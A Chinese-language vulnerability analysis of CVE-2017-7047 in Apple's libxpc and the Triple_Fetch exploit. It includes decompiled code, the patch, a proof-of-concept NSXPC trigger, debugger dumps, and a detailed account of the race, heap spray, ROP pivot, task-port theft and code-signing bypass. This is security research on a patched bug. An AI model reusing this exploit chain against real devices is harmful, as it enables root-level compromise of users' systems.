CVE-2017-7047 Triple_Fetch 漏洞與利用技術分析
昨天 Google Project Zero 的 Ian Beer 發布了 CVE-2017-7047 的漏洞細節,以及一個叫 Triple_Fetch 的漏洞利用 app,可以拿到所有 10.3.2 及以下版本的用戶態Root+無沙盒權限,昨天我看了一下這個漏洞和利用的細節,總得來說整個利用思路還是非常精妙的。我決定寫這篇文章,旨在盡可能地記錄下 Triple_Fetch 以及 CVE-2017-7047 的每一個精彩的細節。
CVE-2017-7047 漏洞成因與細節
這是個 libxpc 底層實現的漏洞。我們知道,其實 libxpc 是在 macOS/iOS 的 mach_msg 基礎上做了一層封裝,使得以前一些因為使用或開發 MIG 接口的過程中因為對 MIG 接口細節不熟悉導致的漏洞變得越來越少。有關 MIG 相關的內容可以參考 我以前的文章 ,這里不再詳細敘述。
XPC 自己實現了一套類似于 CFObject/OSObject 形式的對象庫,對應的數據結構為 OS_xpc_xxx (例如 OS_xpc_dictionary , OS_xpc_data 等),當客戶端通過XPC發送數據時, _xpc_serializer_pack 函數會被調用,將要發送的 OS_xpc_xxx 對象序列化成 binary 形式。注意到,如果發送的數據中存在 OS_xpc_data 對象(可以是作為 OS xpc array 或者 OS xpc dictionary 等容器類的元素)時,對應的 serialize 函數 _xpc_data_serialize 會進行判斷:
__int64 __fastcall _xpc_data_serialize(__int64 a1, __int64 a2)
{
...
if ( *(_QWORD *)(a1 + 48) > 0x4000uLL ) //這里判斷data的長度
{
v3 = dispatch_data_make_memory_entry(*(_QWORD *)(a1 + 32)); //獲取這塊內存的send right
...
}
...
}
當 OS_xpc_data 對象的數據大于 0x4000 時, _xpc_data_serialize 函數會調用 dispatch_data_make_memory_entry , dispatch_data_make_memory_entry 調用 mach_make_memory_entry_64 。 mach_make_memory_entry_64 返回給用戶一個 mem_entry_name_port 類型的 send right, 用戶可以緊接著調用 mach_vm_map 將這個 send right 對應的 memory 映射到自己進程的地址空間。也就是說,對大于 0x4000 的 OS_xpc_data 數據,XPC 在傳輸的時候會避免整塊內存的傳輸,而是通過傳 port 的方式讓接收端拿到這個 memory 的 send right,接收端接著通過 mach_vm_map 的方式映射這塊內存。接收端反序列化 OS_xpc_data 的相關代碼如下:
__int64 __fastcall _xpc_data_deserialize(__int64 a1)
{
if ( _xpc_data_get_wire_value(a1, (__int64 *)&v8, &v7) ) //獲取data內容
{
...
}
return v1;
}
char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3)
{
...
if ( v6 )
{
v7 = *v6;
if ( v7 > 0x4000 )//數據大于0x4000時,則獲取mem_entry_name_port來映射內存
{
v8 = 0;
name = 0;
v17 = 0;
v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17); //獲取mem_entry_name_port send right
if ( name + 1 >= 2 )
{
v9 = v17;
if ( v17 == 17 )
{
v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19); //調用_xpc_vm_map_memory_entry映射內存
...
}
}
...
}
之后就是最關鍵的 _xpc_vm_map_memory_entry 邏輯了,可以看到,在 macOS 10.12.5 或者 iOS 10.3.2 的實現中,調用 mach_vm_map 的相關參數如下:
kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, _QWORD *a3)
{
result = mach_vm_map(
*(_DWORD *)mach_task_self__ptr,
(mach_vm_address_t *)&v5,
size,
0LL,
1,
object,
0LL,
0, // Booleean copy
0x43,
0x43,
2u);
}
mach_vm_map 的官方參數定義如下:
kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);
值得注意的是最后第四個參數 boolean_t copy, 如果是 0 代表映射的內存與原始進程的內存共享一個物理頁,如果是 1 則是分配新的物理頁。
在 _xpc_data_deserialize 的處理邏輯中,內存通過共享物理頁的方式(copy = 0)來映射,這樣在客戶端進程中攻擊者可以隨意修改 data 的內容從而實時體現到接收端進程中。雖然在絕大多數情況下,這樣的修改不會造成嚴重影響,因為接收端本身就應該假設從客戶端傳入的 data 是任意可控的。但是如果這片數據中存在復雜結構(例如length等field),那么在處理這片數據時就可能產生 double fetch 等條件競爭問題。而 Ian Beer 正是找到了一處”處理這個data時想當然認為這塊內存是固定不變的錯誤”,巧妙地實現了任意代碼執行,這部分后面詳細敘述,我們先來看看漏洞的修復。
CVE-2017-7047 漏洞修復
這個漏洞的修復比較直觀,在 _xpc_vm_map_memory_entry 函數中多加了個參數,指定 vm_map 是以共享物理頁還是拷貝物理頁的方式來映射:
char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3)
{
...
if ( v7 > 0x4000 )
{
v8 = 0;
name = 0;
v17 = 0;
v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17);
if ( name + 1 >= 2 )
{
v9 = v17;
if ( v17 == 17 )
{
v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19, 0);//引入第四個參數,指定為0
}
}
}
...
}
kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, mach_vm_address_t *a3, unsigned __int8 a4)
{
...
result = mach_vm_map(*(_DWORD *)mach_task_self__ptr,
&address, size, 0LL, 1, object, 0LL,
a4 ^ 1, // 異或1后,變為1
0x43,
0x43,
2u);
...
}
可以看到,這里把映射方式改成拷貝物理頁后,問題得以解決。
Triple_Fetch利用詳解
如果看到這里你還不覺得累,那么下面的內容可能就是本文最精彩的內容了(當然,估計會累)。
一些基本知識
我們現在已經知道,這是個 XPC 底層實現的漏洞,但具體能否利用,要看特定 XPC 服務的具體實現,而絕大多數 XPC 服務僅僅將涉及 OS_xpc_data 對象的 buffer 作為普通數據內容來處理,即使在處理的時候 buffer 內容發生變化,也不會造成大問題。而即便找到有問題的案例,也僅僅是影響部分 XPC 服務。把一個通用型機制漏洞變成一個只影響部分 XPC 服務的漏洞利用,可能不是一種好策略。
因此,Ian Beer 找到了一個通用利用點,那就是 NSXPC。NSXPC 是比 XPC 更上層的一種進程間通信的實現,主要為 Objective-c 提供進程間通信的接口,它的底層基于 XPC 框架。我們先來看看 Ian Beer 提供的漏洞 poc:
int main() {
NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.wifi.sharekit" options:NSXPCConnectionPrivileged];
[conn setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol: @protocol(MyProtocol)]];
[conn resume];
id obj = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) {
NSLog(@"got an error: %@", err);
}];
[obj retain];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", conn);
int size = 0x10000;
char* long_cstring = malloc(size);
memset(long_cstring, 'A', size-1);
long_cstring[size-1] = 0;
NSString* long_nsstring = [NSString stringWithCString:long_cstring encoding:NSASCIIStringEncoding];
[obj cancelPendingRequestWithToken:long_nsstring reply:nil];
gets(NULL);
return 51;
}
代碼調用了 “com.apple.wifi.sharekit” 服務的 cancelPendingRequestWithToken 接口,其第一個參數為一個長度為 0x10000,內容全是 A 的 string,我們通過調試的方法來理一下調用這個 NSXPC 接口最終到底層 mach msg 的 message 結構,首先斷點到 mach msg:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
* frame #0: 0x00007fffba597760 libsystem_kernel.dylib`mach_msg
frame #1: 0x00007fffba440feb libdispatch.dylib`_dispatch_mach_msg_send + 1195
frame #2: 0x00007fffba441b55 libdispatch.dylib`_dispatch_mach_send_drain + 280
frame #3: 0x00007fffba4582a9 libdispatch.dylib`_dispatch_mach_send_push_and_trydrain + 487
frame #4: 0x00007fffba455804 libdispatch.dylib`_dispatch_mach_send_msg + 282
frame #5: 0x00007fffba4558c3 libdispatch.dylib`dispatch_mach_send_with_result + 50
frame #6: 0x00007fffba6c3256 libxpc.dylib`_xpc_connection_enqueue + 104
frame #7: 0x00007fffba6c439d libxpc.dylib`xpc_connection_send_message + 89
frame #8: 0x00007fffa66df821 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:timeout:userInfo:] + 3899
frame #9: 0x00007fffa66de8e0 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:] + 32
frame #10: 0x00007fffa4cbf54a CoreFoundation`___forwarding___ + 538
frame #11: 0x00007fffa4cbf2a8 CoreFoundation`__forwarding_prep_0___ + 120
frame #12: 0x0000000100000da4 nsxpc_client`main + 404
frame #13: 0x00007fffba471235 libdyld.dylib`start + 1
觀察它的 message header 結構:
(lldb) x/10xg $rdi
0x10010bb88: 0x0000006480110013 0x0000000000001303
0x10010bb98: 0x100000000000150b 0x00001a0300000001
0x10010bba8: 0x0011000000000000 0x0000000558504321
0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002
0x10010bbc8: 0x0000800000000000 0x786f727000034000
typedef struct
{
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
這里發送的是一個復雜消息,長度為 0x64。值得注意的是,所有 XPC 的 msgh id 都是固定的 0x10000000,這與 MIG 接口的根據 msgh id 號來作 dispatch 有所不同。由于這個消息用到了大于 0x4000 的 OS_xpc_data 數據,因此 message_header 后跟一個 mach_msg_body_t 結構,這里的值為1(偏移0x18的4字節),意味著之后跟了一個復雜消息,而偏移 0x1c 至 0x28 的內容是一個 mach_msg_port_descriptor_t 結構,其定義如下:
typedef struct
{
mach_port_t name;
// Pad to 8 bytes everywhere except the K64 kernel where mach_port_t is 8 bytes
mach_msg_size_t pad1;
unsigned int pad2 : 16;
mach_msg_type_name_t disposition : 8;
mach_msg_descriptor_type_t type : 8;
} mach_msg_port_descriptor_t;
偏移 0x1c 處的 0x1a03 是一個 mem_entry_name_port ,也就是 0x10000 的 ’A’ buffer 對應的 port。
從 0x28 開始的 8 字節為真正的 xpc 消息的頭部,最新的 mac/iOS 上,這個頭信息是固定的: 0x0000000558504321,也就是字符串 “!CPX”(XPC!的倒序),以及版本號 0x5,接下來跟的是一個序列化過的 OS_xpc_dictionary 結構:
(lldb) x/10xg 0x10010bbb8
0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002
0x10010bbc8: 0x0000800000000000 0x786f727000034000
0x10010bbd8: 0x000000006d756e79 0x0000000100004000
如果翻譯成 Human Readable 的格式,應該是這樣:
<dict>
<key>root</key>
<data>[the data of that mem_entry_name_port]</data>
<key>proxynum</key>
<integer>1</integer>
</dict>
這里可以看到,這個 serialize 后的 OS xpc data 并沒有引用對應的 send right 信息,只是標記它是個 DATA(0x8000),以及它的長度 0x34000。而事實上,在 deserialize 的時候,程序會自動尋找 mach_msg_body_t 中指定的復雜消息個數,并且順序去尋找后邊緊跟的 mach_msg_port_descriptor_t 結構,而序列化過后的 XPC 消息中出現的 OS_xpc_data 與之前填入的 mach_msg_port_descriptor_t 順序是一致并且一一對應的。用一個簡單明了的圖來說明,就是這樣:
NSXPC at mach_msg view
看到這里,我們對 NSXPC 所對應的底層 mach_msg 結構已經有所了解。但是,這里還遺留了個問題:如果所有 XPC 的 msgh_id 都是 0x10000000,那么接收端如何知道我調用的是哪個接口呢?其中的奧秘,就在這個 XPC Dictionary 中的 root 字段,我們還沒有看過這個字段對應的 mem_entry_name_port 對應的 buffer 內容是啥呢,找到這個 buffer 后,他大概就是這個樣子:
(lldb) x/100xg 0x0000000100440000
0x100440000: 0x36317473696c7062 0x00000000020070d0
0x100440010: 0x70d000766e697400 0x7700000000000200
0x100440020: 0x7d007373616c6324 0x61636f766e49534e
0x100440030: 0x797473006e6f6974 0x0040403a40767600
0x100440040: 0x6325117f00657373 0x6e65506c65636e61
0x100440050: 0x75716552676e6964 0x5468746957747365
0x100440060: 0x7065723a6e656b6f 0xff126fe0003a796c
0x100440070: 0x41004100410041ff 0x4100410041004100
0x100440080: 0x4100410041004100 0x4100410041004100
0x100440090: 0x4100410041004100 0x4100410041004100
0x1004400a0: 0x4100410041004100 0x4100410041004100
0x1004400b0: 0x4100410041004100 0x4100410041004100
0x1004400c0: 0x4100410041004100 0x4100410041004100
0x1004400d0: 0x4100410041004100 0x4100410041004100
0x1004400e0: 0x4100410041004100 0x4100410041004100
0x1004400f0: 0x4100410041004100 0x4100410041004100
0x100440100: 0x4100410041004100 0x4100410041004100
0x100440110: 0x4100410041004100 0x4100410041004100
(lldb) x/1s 0x0000000100440000
0x100440000: "bplist16\xffffffd0p"
這是個 bplist16 序列化格式的 buffer,是 NSXPC 專用的,和底層 XPC 的序列化格式是有區別的。這個 buffer 被做成 mem_entry_name_port 傳輸給接收端,而接收端直接用共享內存的方式獲得這個 buffer,并進行反序列化操作,這就創造了一個絕佳的利用點,當然這是后話。我們先看一下這個 buffer 的二進制內容:
bplist sample to call cancelPendingRequestWithToken
這個 bplist16 格式的解析比較復雜,而且 Ian Beer 的實現里也只是覆蓋了部分格式,大致轉換成 Human Readable 的形式就是這樣:
<dict>
<key>$class</key>
<string>NSInvocation</string>
<key>ty</key>
<string>v@:@@</string>
<key>se</key>
<string>cancelPendingRequestWithToken:reply:</string>
AAAAAAAAAA
</dict>
這里的 ty 字段是這個 objc 接口的函數原型,se 是 selector 名稱,也就是接口名字,后面跟的 AAAA 就是他的參數內容。接收端的 NSXPC 接口正是根據這個 bplist16 中的內容來分發到正確的接口并給予正確的接口參數的。
Ian Beer 提供的 PoC 是跑在 macOS 下的,因此他直接調用了 NSXPC 的接口,然后通過
DYLD_INSERT_LIBRARIES 注入的方式 hook 了 mach_make_memory_entry_64 函數,這樣就能獲取這個 send right 并且進行 vm_map。但是在 iOS 上(特別是沒有越獄的 iOS)并不能做這樣的 hook,如果從 NSXPC 接口入手我們沒有辦法獲得那塊共享內存(其實是有辦法的:),但不是很優雅),所以 Ian Beer 在 Triple_Fetch 利用程序中自己實現了一套 XPC 與 NSXPC 對象封裝、序列化、反序列化的庫,自己組包并調用 mach_msg 與 NSXPC 的服務端通信,實現了利用。
Triple_Fetch 利用 - 如何實現控 PC
Ian Beer 對 NSXPC 的這個 bplist16 的 dictionary 中的 ty 字段做了文章,這個字段指定了 objc 接口的函數原型,NSXPC 底層會去解析這個 string,如果@后跟了個帶冒號的字符串,例如:@”mfz”,則 CoreFoundation 中的 __NSMS 函數會被調用:
10 com.apple.CoreFoundation 0x00007fffb8794d10 __NSMS1 + 3344
11 com.apple.CoreFoundation 0x00007fffb8793552 +[NSMethodSignature signatureWithObjCTypes:] + 226
12 com.apple.Foundation 0x00007fffba1bb341 -[NSXPCDecoder decodeInvocation] + 330
13 com.apple.Foundation 0x00007fffba46cf75 _decodeObject + 1243
14 com.apple.Foundation 0x00007fffba1ba4c7 _decodeObjectAfterSettingWhitelistForKey + 128
15 com.apple.Foundation 0x00007fffba1ba40d -[NSXPCDecoder decodeObjectOfClass:forKey:] + 129
16 com.apple.Foundation 0x00007fffba1c6c87 -[NSXPCConnection _decodeAndInvokeMessageWithData:] + 326
17 com.apple.Foundation 0x00007fffba1c6a72 message_handler + 685
18 libxpc.dylib 0x00007fffce196f96 _xpc_connection_call_event_handler + 35
19 libxpc.dylib 0x00007fffce19595f _xpc_connection_mach_event + 1707
20 libdispatch.dylib 0x00007fffcdf13726 _dispatch_client_callout4 + 9
21 libdispatch.dylib 0x00007fffcdf13999 _dispatch_mach_msg_invoke + 414
22 libdispatch.dylib 0x00007fffcdf237db _dispatch_queue_serial_drain + 443
23 libdispatch.dylib 0x00007fffcdf12497 _dispatch_mach_invoke + 868
24 libdispatch.dylib 0x00007fffcdf237db _dispatch_queue_serial_drain + 443
25 libdispatch.dylib 0x00007fffcdf16306 _dispatch_queue_invoke + 1046
26 libdispatch.dylib 0x00007fffcdf2424c _dispatch_root_queue_drain_deferred_item + 284
27 libdispatch.dylib 0x00007fffcdf2727a _dispatch_kevent_worker_thread + 929
28 libsystem_pthread.dylib 0x00007fffce15c47b _pthread_wqthread + 1004
29 libsystem_pthread.dylib 0x00007fffce15c07d start_wqthread + 13
這個函數的第一個參數指向 bplist16 共享內存偏移到 ty 字段@開始的地方,該函數負責解析后面的字串,關鍵邏輯如下:
_BYTE *__fastcall __NSMS1(__int64 *a1, __int64 a2, char a3)
{
v6 = __NSGetSizeAndAlignment(*a1);// A. 獲取這個@"xxxxx...." string的長度
buffer = calloc(1uLL, v6 + 42 - *a1); //根據長度分配空間
v9 = buffer + 37;
while ( 2 ) //重新掃描字符串
{
v150 = v7 + 1;
v120 = *v7;
switch ( *v7 )
{
case 0x23:
...
case 0x2A:
...
case 0x40: //遇到'@'
if ( v20 == 34 ) //下一字節是'"'則開始掃描下一個冒號
{
...
while ( v56 != 34 ) //B. 掃描字符串,找到第二個冒號
{
v56 = (v57++)[1];
if ( !v56 ) //中間不得有null字符
goto LABEL_ERROR;
}
if ( v57 )
{
v109 = v150 + 1;
do
{
*v9++ = v55;
v110 = v109;
if ( v109 >= v57 )
break;
v55 = *v109++;
}
while ( v55 != 60 ); //C. 拷貝字符串@"xxxxx...."至buffer
}
Ian Beer 構造的初始字符串是 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 , 其中 mfz 字串是運行時隨機生成的3個隨機字母,這是為了避免 Foundation 對已經出現過的字符串進行 cache 而不分配新內存(因為利用需要多次觸發嘗試)。
-
在 A 處,調用 __NSGetSizeAndAlignment 得到的長度是6(因為@”mfz”長度為6),因此 calloc 分配的內存長度是48(42 + 6)。而 buffer 的前 37 字節用于存儲 metadata,所以真正的字符串會拷貝在 buffer+37 的地方。
-
在計算并分配好“合理“長度的buffer后, __NSMS1 函數在 B 處重新掃描這個字符串,找到第二個冒號的位置(正常情況下,也就是@”mfz”的第二個冒號位置),但需要注意,在第二個冒號出現之前,不能有 null string
-
在C處,程序根據剛才計算的“第二個冒號”的位置,開始拷貝字串到 buffer+37 位置。
Ian Beer通過在客戶端app操作共享內存,改變 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 的某幾字節,構造出一個絕妙的 Triple_Fetch 的狀態,使得:
-
在 A 處計算長度時,字符串是 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 ,因此 calloc 了 48 字節(6+42)
-
在 B 處,字符串變為 @”mfzAAAAAA\x20\x40\x20\x20\x01\x41\x41\x41”\x00 , 這樣第二個冒號到了倒數第二個字節的位置(v57的位置)
-
在 C 處,字符串變為 @”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 ,程序將整個 @”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00” 拷貝到 buffer+37 位置
如果只是要觸發堆溢出,那1和2構造的 double fetch 已經足夠,但如果要控 PC,Ian Beer 選擇的是覆蓋 buffer 后面精心分布的 OS_xpc_uuid 的對象,該對象大小恰巧也是48字節,并且其前8字節為 obj-c 的 isa (類似c++的 vptr 指針),并且其某些字段是可控的( uuid string 部分),通過覆蓋這個指針,使其指向一段spray過的 gadget buffer 進行 ROP,完成任意代碼執行。但由于 iOS 下 heap 分配的地址高4位是1,所以 \x20\x40\x20\x20\x01\x41\x41\x41 不可能是個有效的 heap 地址,因此我們必須加上狀態3,用 triple fetch 的方式實現代碼執行。
下圖展示了溢出時的內存分布:
overflow to OS_xpc_uuid
在 NSXPC 消息處理完畢后,這些布局的 OS_xpc_uuid 就會被釋放,因為其 isa 指針已被覆蓋,并且新的指針 0x120204020 指向了可控數據,在執行 xpc_release(uuid) 的時候就能成功控制PC。
布局與堆噴射
布局有兩個因素需要考慮,其一是需要在特定內存 0x120204020 地址上填入 rop gadget,其二是需要在 0x30 大小的 block 上噴一些 OS_xpc_uuid 對象,這樣當觸發漏洞 calloc(1,48) 的時候,讓分配的對象后面緊跟一個 OS_xpc_uuid 對象。
第一點 Ian Beer 是通過在發送的 XPC message 里加入了 200 個 “heap_sprayXXX” 的key,他們的 value 各自對應一個 OS_xpc_data ,指向 0x4000 * 0x200 的大內存所對應的 send right,這塊大內存就是 ROP gadget。
而第二點是通過在 XPC message 里加入 0x1000 個 OS_xpc_uuid ,為了創造一些 hole 放入 freelist 中,使得我們的 calloc(1,48) 能夠占入, Ian Beer 在 add_heap_groom_to_dictionary 函數中采用了一些技巧,比如間隔插入一些大對象等,但我個人覺得這里的 groom 并不是很有必要,因為我們不追求一次觸發就利用成功(事實也是如此),每次觸發失敗后當 OS_xpc_uuid 釋放后,就會天然地產生很多 0x30 block 上的 free element,下一次觸發漏洞時就比較容易滿足理想的堆分布狀態。
ROP與代碼執行
當接收端處理完消息后 xpc_release(uuid) 就會被觸發,而我們把其中一個 uuid 對象的 isa 替換后,我們就控制了 pc。 此事我們的 x0 寄存器指向 OS xpc uuid 對象,而這個對象的 0x18-0x28 的16字節是可控的。 Ian Beer 選擇了這么一段作為 stack_pivot 的前置工作:
(lldb) x/20i 0x000000018d6a0e24
0x18d6a0e24: 0xf9401000 ldr x0, [x0, #0x20]
0x18d6a0e28: 0xf9400801 ldr x1, [x0, #0x10]
0x18d6a0e2c: 0xd61f0020 br x1
這樣就完美地將 x0 指向了我們完全可控的 buffer 了。
ROP 如何獲取目標進程的 send right
由于 ROP 執行代碼比較不優雅,效率也低,Ian Beer 在客戶端發送 mach_msg 時,在 XPC message 的 dictionary 中額外加入了 0x1000 個 port,將其 spray 到接收端進程,由于 port_name 的值在分配的時候是有規律的,接收端在ROP的時候調用64次 mach_msg,remote_port 設置成從 0xb0003 開始,每次+4,而 reply_port 設置為自己進程的task port,消息id設置為 0x12344321。在這 64 次發送中,只要有一次send right port name 猜中,客戶端就可以拿著 port set 中的 receive right 嘗試接收消息,如果收到的消息 id 是 0x12344321 那客戶端拿到的 remote port 就是接收端進程的 task send right。
接收端進程的選擇
由于是通殺NSXPC的利用,只要是進程實現了NSXPC的服務,并且container沙盒允許調用,我們都可以實現對端進程的代碼執行。盡管如此,接收端進程的選擇還是至關重要的。簡單的來講,我們首選的服務進程當然是Root權限+無沙盒,并且服務以OnDemand的形式來啟動。這樣的服務即使我們攻擊失敗導致進程崩潰,用戶也不會有任何感覺,而且可以重復嘗試攻擊直到成功。
Ian Beer在這里選擇了coreauthd進程,還有一個重要的原因,是它可以通過調用processor set tasks來獲取系統任意進程的send right從而繞過進程必須有get-task-allow entitlement才能獲取其他進程send right的限制。而這個技巧Jonathan Levin在2015年已經詳細闡述,可以參考 這里 。
后期利用
在拿到 coreauthd 的 send right 后,Ian Beer 調用 thread_create_running 在 coreauthd 中起一個線程,調用 processor_set_tasks 來獲得系統所有進程的 send right。然后拿著 amfid 的 send right 用與 mach portal 同樣的姿勢干掉了代碼簽名,最后運行 debugserver 實現調試任意進程。
來自:http://paper.seebug.org/366/